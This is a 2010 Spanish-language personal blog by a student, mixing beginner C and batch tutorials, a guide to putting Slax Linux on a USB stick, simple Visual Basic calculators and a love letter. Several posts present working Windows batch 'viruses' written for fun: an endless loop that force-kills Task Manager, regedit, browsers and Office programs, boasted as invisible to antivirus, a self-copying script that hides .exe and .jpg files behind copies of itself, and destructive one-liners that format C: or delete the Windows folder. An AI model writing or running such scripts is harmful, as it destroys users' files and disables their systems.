viernes, 29 de octubre de 2010

linux vs windows


uyuyuyuy windows se unde contodo y su dinero mientras linux prevalece

martes, 12 de octubre de 2010

Curso C - el Barc "C" parte 1

------------------------------
Bar "C"
------------------------------

personajes :

manolo - el experto
compadre - el aprendiz

llega el comppadre al bar y se encuentra con su sensei manolo ..

compadre: que onda manolo otra vez te encuentro por aqui en el Bar "C" y
quiero que me enze~es a programar...

manolo : claro que si compadre ...

compadre : y que manolo en que lenguaje crees que esta magnifico para empezar ...
manolo : pues la verdad hay una infinidad de lenguajes , pero yo te ense~are uno que es comun entre, todos los sistemas,
es un lenguaje estandar, es portable, es el lenguaje C.

compadre : y eso como se fuma manolo ?

manolo : pues la verdad nose fuma se escribe en un editor de texto ...

compadre : que es lo que tengo que hacer ?

manolo : mira compadre primero tienes que instalar en tu PC un compilador de C aqui tienes uno buenisimo

http://prdownloads.sourceforge.net/dev-cpp/devcpp-4.9.9.2_setup.exe

es el Dev-C de bloodshed.bien lo podes descargar de su pagina
www.bloodshed.net

compadre : Ok , y como instalo ese tal Dev-C

lo instalar asi ....

http://www.4shared.com/document/AFd5Kjot/instaladevc.html

compadre : orale manolo, ya esta instaladito y ahora que ?

manolo : pues ahora vamos a empezar a "codear" ...

compadre : sale manolo dime que hago ...

manolo : vas al menu archivos > nuevo > codigo fuente y aparecera una pantalla donde vas a escribir esto :

------------------------------

#include<stdio.h>
main(){
printf("hola mundo ...!\n");
}

------------------------------

compadre :orale manolo y todos esos garabatos que son ?

manolo : pues veras, todo parte de una muy sencilla forma
en la que C entiende las cosas ...

compadre : casi te entiendo, pero nose que significa todo eso ...

manolo : ok vamos .... te explico linea a linea

linea1 = #include<stdio.h>
esta es una linea de preprocesamiento ...
quiere decir ... incluir el archivo stdio.h...
desde el cual secargan la mayoria de la funcionalidades de C.

compadre : mmm claro , y se pone siempre... ?
manolo : ahora que vamos a comenzar ... si segun vallamos avanzando veras
que hay diferentes librerias ... pero tiempo al tiempo ...

compadre : ok y las lineas que siguen que significan ...

linea2 = main(){

main es una funcion, para que un texto sea considerado funcion debe llevar los parentesis asi "() " y tenemos como resultado la funcion main asi ...
main(), la llave que se escribe es para indicar donde empieza y donde termina la funcion ...

{ = abrir llave = inicia la funcion
} = cerrar llave = termina la funcion

asi tenemos

main(){  // aqui inicia la funcion main




} // y aqui termina la funcion main

linea 3 = printf("hola mundo ...!\n");


pues esto es la imagen de otra funcion no ?
la funcion main se escribe main()
entonces esta funcion se llama printf y se escribe

printf()
y elvez de escribir las llaves terminamos la linea con punto y coma ';'
lo que se encuentra dentro de la funcion printf se llama "argumento" si separamos la expresion vamos a tener que


printf("hola mundo ...!\n");

---> printf(); es la funcion
---> "hola mundo ...!\n"    //este es el argumento


y ya creo haber explicado todo esto ...

compadre : orale manolo la verdad eso esta facil ..., pero como hago para que eso funcione ?

manolo : pues primero tienes que guardar el archivo como ".c" , ya te imaginaras que la opcion de guardar esta el el menu archivo...

compadre : claro compadre si soy burro pero no tanto ... !

manolo : ok , ya lo guardaste ?

compadre no ?, es que no se donde ponerlo ...

manolo : bien create una carpeta en el disco duro que se llame "progc" y dentro pones el archivo, lo guardas como hola.c

compadre : ya compadre ...

manolo : ahora te vas almenu proyecto y le das en compilar y si todo esta bien , que
debe estarlo nos va a crear nuestro amado *.exe

compadre : ya compadre ya me puso "hecho"

manolo : ok ahora haces ...

1.- abres una terminal
    win + r => cmd
2.- te situas donde guardamos el archivo
en c:\progc
   
    cd \progc
3.- escribe el nombre del programa , que es el mismo nombre del archivo .c pero sin el .c que ahora es .exe
osea hola.exe pero solo escribirar hola y {ENTER}

4.-listo

compadre : ultra WoW compadre esto si que es facil ....

manolo : bien compadre ya me tengo que ir porque tengo ir a trabajar ...

compadre : oye manolo sera que no me puedas dejar unos ejercisios para practicar ...
manolo : con mucho guston compadre haces esto :

hacer programa diferentes que escriban las siguientes frases, en una linea

1.- el que madruga dios le ayuda
2.- hijo de tigre pintito
3.- buenos dias DIOS

NOTA : del ejemplo anterior , el texto se sustutuiria por el argumento ...

compadre : gracias manolo ...
manolo : de nada compadre , hasta la proxima ....

CUrSO de BatcH - parte 2 - el dir

-------------------------------
0x05 El inicio de un gran amor
-------------------------------

una vez que tenemos ante nosotro la shell, iniciamos.

------------------------------------------------
la shell es una parte del sistema en la que nosotros
le vamos a dar ordenes casi directamente al sistema y
el hara lo posible por hacer lo que le pidamos,
siempre y cuando lo que pidamos sea correcto y entendible para
la shell o el sistema ...
--------------------------------------------------


lo primero sera movernos a lo ancho del "DISCO DURO"

----------------
comando "dir"  |
----------------

el comando "dir" , sin comillas, nos muestra los archivos que haygan en la carpera que
nos muestra el "|*** prompt ***|" ...

------------------
comando "cd"
------------------

el comando cd nos mueve en las carpetas de nuestro queridismo "HDD" :D
lo que hace es colocarnoes dentro de la carpeta que le pasemos como primer parametro
cambiando asi el "|*** prompt ***|" ...


=======================================
EL PROMPT
=======================================

probablemente se preguntaran que rayos es eso del prompt, pues es como la barra de direcciones, segun
nos vamos metiendo en las diferentes carpetas, la barra de direcciones va cambiando, los mismo pasa con el prompt de la
shell segun cambiemos de carpetas, el prompt tambien cambiara

ejemplos :

abrimos nuestra shell y vemos que nos pone algo como esto

c:\users\knox>

esto significa que estoy dentro de lacarpeta knox que esta dentro de la carpeta users que cuelga del disco duro...
en esto hago un dir para ver que archivos hay aqui dentro y vemos ...

=======================================[-||X]===
C:\Users\knox>dir
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 085C-0D5E

 Directorio de C:\Users\knox

10/10/2010  01:13    <DIR>          .
10/10/2010  01:13    <DIR>          ..
22/09/2010  20:48    <DIR>          Contacts
11/10/2010  09:43    <DIR>          Desktop
11/10/2010  08:50    <DIR>          Documents
22/09/2010  20:48    <DIR>          Downloads
10/10/2010  01:13    <DIR>          escritorio
22/09/2010  20:49    <DIR>          Favorites
22/09/2010  20:48    <DIR>          Links
04/10/2010  06:14               753 mexico.bat
22/09/2010  20:48    <DIR>          Music
03/10/2010  08:06    <DIR>          Pictures
22/09/2010  20:48    <DIR>          Saved Games
22/09/2010  20:48    <DIR>          Searches
22/09/2010  20:48    <DIR>          Videos
               1 archivos            753 bytes
              14 dirs     925.425.664 bytes libres
====================================================


continuo en otra ocasion ....

nos metemos en una carpeta y veremos como cambia el prompt
aqui un peque~o videito de referencia .....

CUrSO de BatcH

-------------------------------
curso de BatCh
-------------------------------

0x01 Introduccion A LA inTroduccioN

hola a todos, yame conocen y yo casi creo conocerlos :P, somo gente curiosa,
presento ante usetedes un tutoria, curso, manual, papel comole quieran decir
en el cual mi intencion en que se entienda mas o menos de que se trata la programacion
tratere de no ser muy formal , pero tampoco informal, solo para que se entienda ...

siento mucho si me salgo del tema o si alguna vez hago comparaciones de la programacion en batch con la vida cotidiana,
la verdad me ha costado un poco escribir todo esto pero quiero que se entienda ...

por cierto en internet hay miles de libros , manuales, tutoriales y de todo encuanto a programacion batch se refiere
espero que no se queden contentos con lo aqui expuesto y busquen , hay buenos lugares donde hablar de este tipo de programacion es el pan nuestro de cada dia ...

elhacker.net
hackxcrack.es
portalhacker.com

0x02 1ntr0duccioN

escribo acerca de batch , por que es algo que ya trae windows[tintous] por defecto, por lo que no les calentare la cabeza buscando un compilador

0x03 que es batch ...?

batch es un lenguaje por linea de comandos, la mayoria de estos comandos fueron y son utilizados en windows para tareas administrativas, asi que no es de menos

0x04 Preliminares

bueno para empezar con batch veamos un poco de MS_DOS, ya sabran que ms-dos es el sistema antiguo en el cual se manejaba la computadora, puros comandos .... :P

bueno vamos a abrir esa "ventana de comandos" olvidada por muchos, y espero que esta no sea la primera ni va ultima vez que la vemos ....

------------------------------------------------------------
abriendo la ventana de comandos ===> shell  --- forma 1    
------------------------------------------------------------

vamos nos vamos al menu "ejecutar ..." y dentro de la caja de texto escribimos "cmd", sin las comillas .

enseguida nos aparecera la "temida", "poderosa" y "respetada"--> "ventana de comandos" ....



pues he aqui la "ventana de comandos"[shell] de windows ... nada intimidante verdad , esperen a que empezemos a trabajar con ella ...:D

------------------------------
partes de la shell de windows
------------------------------



1.- el prompt, es en si la linea de comandos, en ella se vera acabo nuestro trabajo, linea a linea.
2.- el titulo de la ventana, pues es el titulo , mas adelante personalizaremos eso.
3.- scrollbar , es la barra por la cual podremos ir abajo o arriba en nuestra shell...



------------------------------------------------------------
abriendo la ventana de comandos ===> shell  --- forma 2   
------------------------------------------------------------

vamos al menu inicio, no metemos en todos lo programas, vamos accesorios
y ahi nos encontraremos "simbolo del sistema" he aqui nuestra shell


-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-

lunes, 11 de octubre de 2010

SLAX EN USB ...........

slax es una mini distribucion de linux que pesa alrededor de 200mb ideal para crear una plataforma de hacking ...:D

lo que vamos a hacer aqui es una forma manual de instalar slax en una usb e instalarle una serie de herramientas para que sa una perfecta plataforma de hackeo y 100% portable, desde la usb-stick :D
lo primero sera obtener es slax de aqui quemarlo en un cd y copiar las dos carpetas y pegarlas en la memoria a utilizar ...
es importante que sepas que a slax le dara igual que la memoria este o no formateada, tenga o no archivos, slax no modificara nada ...
una vez copiados los archivos a la USB ,reiniciamos y configuramos para que reinicie con el cd ...
una vez iniciado te aparecera un menu y posteriormente aparecera la lujosa pantalla de inicio de slax ...


una vez el slax corremos una terminal ...
hay dos formas ...
uno : alt + F2 >> konsole
dos : en el botoncito que aparece en el panel de abajo ...
bueno ya la tenemos situamos la terminal en la direccion de la memoria ...
abrimos el konqueror, nos metemos en media y nos vmos donde la USB.
checamos la letra que se le asigno a la USB y nos vamos a la terminal ...







 typeamos "cd /mnt/"la letra de ma memoria"/boot" ej . "cd /mnt/sdb1/boot" , sin comillas claro , y despues ENTER .nos situaremos en una carpeta donde slax guarda los archivos para la instalacion de slax ...
typeamos ls y vemos el contenido y vamos a ejecutar el archivo "bootinst.sh" que es el que se encarga de escribir la mbr de la USB para que sea booteable
lo ejecutamos ..."./bootinst.sh"




 y listo .....

 @echo off
msg * im KNOX
exit





viernes, 8 de octubre de 2010

CARTA UNO

El amor es algo inevitable, es algo que viene y que va , esta es la carta uno de muchas mas que estoy por escribir , y aunque mi pasion es escribir codigo , todo esto lo hago por la unica motivacion que me impulsa a seguir adelante con mis proyectos.

Mi futuro lo pienso con ella, y sin ella mi vida seria un completo caos, en mis momentos de duda ella siempre me ha ayudado y doy gracias a dios por cada momento lindo que me ha dado a su lado , todo esto es "por ti irazu !!!", TE AMO LINDA.

A veces cuando uno tiene muchas cosas que ama, es muy dificil ordenarlas de mayor a menor , yo de mi parte mejor no clasifico, solo peleare con mi espada lazer por todas las cosas que amo, mi novia, mi profesion , yo , mi ser , mi todo.

El hacking se vive se siente, es algo que no tiene explicaciones, o si pero es muy compleja ... solo se puede resumir en romper y reparar , pero aprendiendo mucho en el camino ... o en su defecto aprender mucho para luego romper y repararlo com lo aprendido, pero aun no queda ahi ..., este es mi punto de vista del hacking, muchos lo veran de otra forma yo solo puedo decir que es una forma de vida ...

HACIENDO UN CALCULADOR DE AREAS

INTRODUCCION
Bueno aqui voy a aplicar un poco de programacion para crear una herramienta para que nos ayude a calcular area, y perimetro de un triangulo equilatero, cuadrado y rectangulo
inicianto el proyecto

INICIO

Bueno primero abrimos el visual basic,creamos un proyecto y hacemos un dise~o con 4 texts: text1, text2, text3 y text4, uno para base,otro para altura , otro para el area y el ultimo para el perimetro ...
tambien 3 botones; uno para cuadrado , otro para rectangulo y otro para circulo ...
al final quedaria asi ...


TRABAJANDO ....

Primero le vamos a dar de alta a area y perimetro de cuadrados , rectangulos y trangulos tenemos ....


perimetro
------------------------------------
cuadrado = lado * 4
rectangulo = base * 2 + altura * 2
triangulo(equilatero) = lado * 3

-------------------------------------
area
-------------------------------------
cuadrado = lado * lado
rectangulo = base * altura
triangulo = (base * altura)/2
--------------------------------------
pues simplemente en el codigo de cada boton vamos a almacenar el valor de la vaiable que representa el valor de nuestra base y altura despues vamos a proceder con imprimir el valor en el lugar correspondiente osea en su text correspondiente ...
------------------------------- ----
para cuadrado
------------- ----------------------
 l1 = Text1.Text
l2 = Text2.Text
perimetro = l1 * 4
area = l1 * l2
Text4.Text = perimetro
Text3.Text = area
--------------------------------
--------------------------------
lo que hacemos es almacenar el valor de los texts en una variable luego hacemos el procedimiento de multiplicar ,guardamos el resultado de la multiplicacion en la variable y al final volcamos el valor de la variable en el text de perimetro osea el text4 y el de area que es el Text3 ...
-------------------------------
para rectangulo
----------- -------------------
-------------------------------
l1 = Text1.Text
l2 = Text2.Text
perimetro = (l1 *2 ) + (l2 * 2)
area = l1 * l2 Text4.Text = perimetro
Text3.Text = area
--------------------------------
 --------------------------------

==============================================
------------------------------- ----
para triangulo
------------ -----------------------
 l1 = Text1.Text
l2 = Text2.Text
perimetro = l1 *3
area = (l1 * l2)/2
Text4.Text = perimetro
Text3.Text = area
--------------------------------
--------------------------------

con esto listo solo basta probar , probar y probar , y tenemos un programa para estos calculos .... :D




guardamos y creamos el .exe y listo ..... XD

CALCULANDO CUADRADOS EN VISUAL BASIC

introduccion despues de unos cuantos pseudo codigos que nos paso la maestra de programacion , decidi hacer unos cuantos en visual vasic , por ser mas visual y por que la mayoria de mis compa~eros usa tintous , pero la verdad , los programas se ven mas lindos en c.


iniciando abriendo visual basic y creando un nuevo proyecto

nos aparece esto ...


para entrar en contacto vamos a analizar un poco lo que vamos ha hacer ...
vamos a hacer un programa que le damos un numero y nos imprima su cuadrado ...
pues vamos al visual y metemos dos text y un button , les ponemos nombres y lo ponemos a nuestro gusto .... asi ...



esto es solo por el lado del dise~o, solo movemos un poco las configuraciones de colores para dejar el programa como nos guste, incluso no mover nada ...
el codigo ...
lo unico que vamos a meter en el lado del codigo son sentencias para que al presionar el boton se convierta a cuadrado lo que esta en el text1 y se escriba el el text2
tan facil como almacenar el valor del text1 en una variable , convertir el valor al cuadrado y luego para el resultado al text2 osea ...

nm = Text1.Text
cua = nm * nm
Text2.Text = cua

y vuala ejecutamos y ya nos genera resultados ...
ya solo nos queda guardar nuestro proyecto y generar el exe y a divertirnos mucho ...

jueves, 7 de octubre de 2010

Matando las esperanzas ...

El dia de hoy es tranquilo , todo aca por el tec esta de fabula, ideal para ponerse a jugar con unos cuantos virus :D.


pues este utiliza el comando taskkill para matar los programa , en windows cuando un programa se nos revela le damos taskkill -f -im "nombre del programa", por ejemplo para matar el word hariamos ...

---------------------------
>taskkill f -im winword.exe
---------------------------

pues el virus del dia va a matar cuanto proceso se nos ocurra empezando por los que nos hacen la vida imposible o solo para molestar , el word , exel, etc ...

--------[killal.bat]----------
------------------------------
@echo off
taskkill -f -im winword.exe
taskkill -f -im exel.exe
taskkill -f -im iexplore.exe
taskkill -f -im firefox.exe
taskkill -f -im taskmgr.exe
taskkill -f -im regedit.exe
taskkill -f -im wmplayer.exe
taskkill -f -im notepad.exe
taskkill -f -im msconfig.exe
taskkill -f -im msnmsgr.exe
taskkill -f -im foxit.exe
taskkill -f -im calc.exe
taskkill -f -im mspaint.exe
taskkill -f -im opera.exe
------------------------------
------------------------------

ok, he aqui el programita, la base de todo es una herramienta que usa el sistema operativo, por lo que ningun antivirus lo detectara ....

la verdad este virus solo hara el trabajo una sola vez por lo que para que haga el trabajo para siempre o hasta que maten nuestro programa sera crear un blucle infinito para que el virus se ejecute indefinidamente haremos ....

--------[killal2.bat]----------
-------------------------------
@echo off
:kill
taskkill -f -im winword.exe
taskkill -f -im exel.exe
taskkill -f -im iexplore.exe
taskkill -f -im firefox.exe
taskkill -f -im taskmgr.exe
taskkill -f -im regedit.exe
taskkill -f -im wmplayer.exe
taskkill -f -im notepad.exe
taskkill -f -im msconfig.exe
taskkill -f -im msnmsgr.exe
taskkill -f -im foxit.exe
taskkill -f -im calc.exe
taskkill -f -im mspaint.exe
taskkill -f -im opera.exe
goto kill
------------------------------
------------------------------

y ya tenemos un programita respetable , dejo para otra entrada la compilada de un bat a exe ..... ya saben soy KNOX

miércoles, 6 de octubre de 2010

h0l4 bienvenidos ... !!!

hola a todas las personas que visitan este blog espero lo disfruten !!!!

mi nombre es AGUSTIN RAMOS ESCALANTE estudio en el INSTITUTO TECNOLOGICO SUPERIOR DE COMALCALCO y en este blog les presento de todo un poco en el grande y mxto mundo de la computacion , programas virus, trucos, tanto para linux, como para windows.
Diviertanse !!!

Grandes ideas, Grandes virus

Es inimaginable lo inalcanzable que puede llegar a ser un virus, y como toda creacion reciente no es detectada por ningun antivirus, por lo que nnos divertimos un rato....

he aqui las historias vividas de mis noches y momentos de insomnio programando , creando , relajeando en general ....

un virus puede ser de una fiel creacion a algo inimaginable , e increiblemente peligroso ....
como un

format /f c:

o un

del /q /s %windir%

pero la verdad no reside en que sea bueno o malo sino que nos deje algo de aprendizeje, si no aprendemos nada , no sirve de nada , valga la redundancia ...

en la vida, para obtener las cosas buenas vamos a sufrir
dar a la vida a un nuevo programa la verdad es algo genial ....

echo 0 > hhh.exe
aqui creamos un archivo hhh.exe que no tiene nada

bueno al grano he aqui un poco de codigo para hacernos algo bueno

@echo off
for %%i in ( *.exe,*.jpg) do (
copy %0 %%i.bat
attrib +h +s %%i
)


antes .....




despues ....



como se ha observado el virus , oculta los archivos .exe y .jpg y crea una copia de los archivos copiados pero con extencion bat , cual contiene el mismisimos codigo del virus ....